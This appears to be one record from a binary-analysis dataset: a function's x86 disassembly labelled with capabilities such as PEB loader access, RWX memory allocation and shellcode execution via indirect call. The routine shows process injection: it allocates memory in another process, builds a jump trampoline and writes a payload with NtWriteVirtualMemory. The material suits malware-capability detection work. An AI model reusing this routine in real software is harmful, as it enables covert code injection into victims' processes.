Function at 0x403fb4
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10b0
call sub.ntdll.dll__chkstk
push ebx
push esi
push edi
push pe_nt_image_headers32
push 0x3000
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], 0x1000
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x404229
xor eax, eax
push 0x3d9ac241
push ebx
mov word [ebp - 0x24], ax
call fcn.004037ca
push 0x1a5
mov esi, eax
push ebx
mov edi, 0x4550f8
push edi
mov dword [ebp - 0x30], esi
call sub.ntdll.dll_memset
add esp, 0x14
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp - 4]
sub edx, ecx
mov dword [0x455295], ecx
lea ecx, [ebp - 8]
push ecx
push 0x455169
push esi
push eax
add edx, 0x3b2
push edi
mov dword [0x455165], eax
mov dword [0x4550f8], esi
mov dword [0x4550fc], edx
mov dword [0x455169], 0x10
call fcn.00402aa3
add esp, 0x14
test eax, eax
je 0x40411f
mov eax, dword [0x455169]
mov ebx, dword [ebp - 8]
mov esi, dword [0x4550f8]
mov ecx, eax
mov edi, ebx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x4040f7
push eax
push dword [0x4550f8]
call fcn.004030b0
pop ecx
pop ecx
test eax, eax
je 0x4040f7
mov eax, dword [0x4550f8]
mov dword [ebp - 0x18], eax
mov eax, dword [ebx]
mov dword [ebp - 0x20], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 0x1c], eax
pushal
mov esi, dword [ebp - 0x18]
mov eax, dword ds:[esi]
mov edx, dword ds:[esi + 4]
mov ebx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
lock cmpxchg8b qword ds:[esi]
jne 0x4040c9
popal
mov eax, dword [0x455169]
mov ebx, dword [ebp - 8]
cmp eax, 8
jbe 0x4040f7
add eax, 0xfffffff8
push eax
lea eax, [ebx + 8]
push eax
mov eax, dword [0x4550f8]
add eax, 8
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
test ebx, ebx
je 0x40411d
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_HeapValidate]
test eax, eax
je 0x40411d
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
xor ebx, ebx
push 5
push dword [ebp - 0x30]
call fcn.00402e4c
push eax
push dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x70]
push eax
call sub.ntdll.dll_memcpy
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
sub ecx, 0xf72
mov dword [ebp - 8], ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0xb0]
push ecx
push eax
push dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
call fcn.00402e95
add esp, 0x28
test eax, eax
je 0x404229
mov eax, dword [ebp - 0x2c]
mov byte [ebp + eax - 0xb0], 0xe9
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x2c]
sub eax, 5
mov dword [ebp + ecx - 0xaf], eax
push 0x1f0
lea eax, [ebp - 0x2a0]
push ebx
mov ecx, 0x384
mov esi, 0x4070e8
lea edi, [ebp - 0x10b0]
push eax
rep movsd dword es:[edi], dword [esi]
call sub.ntdll.dll_memset
mov eax, dword [ebp - 4]
add esp, 0xc
push 0x23
pop ecx
lea esi, [ebp - 0xb0]
lea edi, [ebp - 0x13e]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [eax + 0xf72]
mov dword [ebp - 0xc80], ecx
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xe56], ecx
lea ecx, [ebp - 0x10]
push ecx
mov esi, 0x1000
push esi
lea ecx, [ebp - 0x10b0]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x404229
cmp dword [ebp - 0x10], esi
jne 0x404229
cmp dword [ebp + 0x10], ebx
je 0x40420e
push dword [ebp + 0x14]
call dword [ebp + 0x10]
pop ecx
xor esi, esi
inc esi
push esi
push 0x4550f8
push dword [ebp + 8]
call fcn.00402fb6
add esp, 0xc
test eax, eax
je 0x404229
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
leave
ret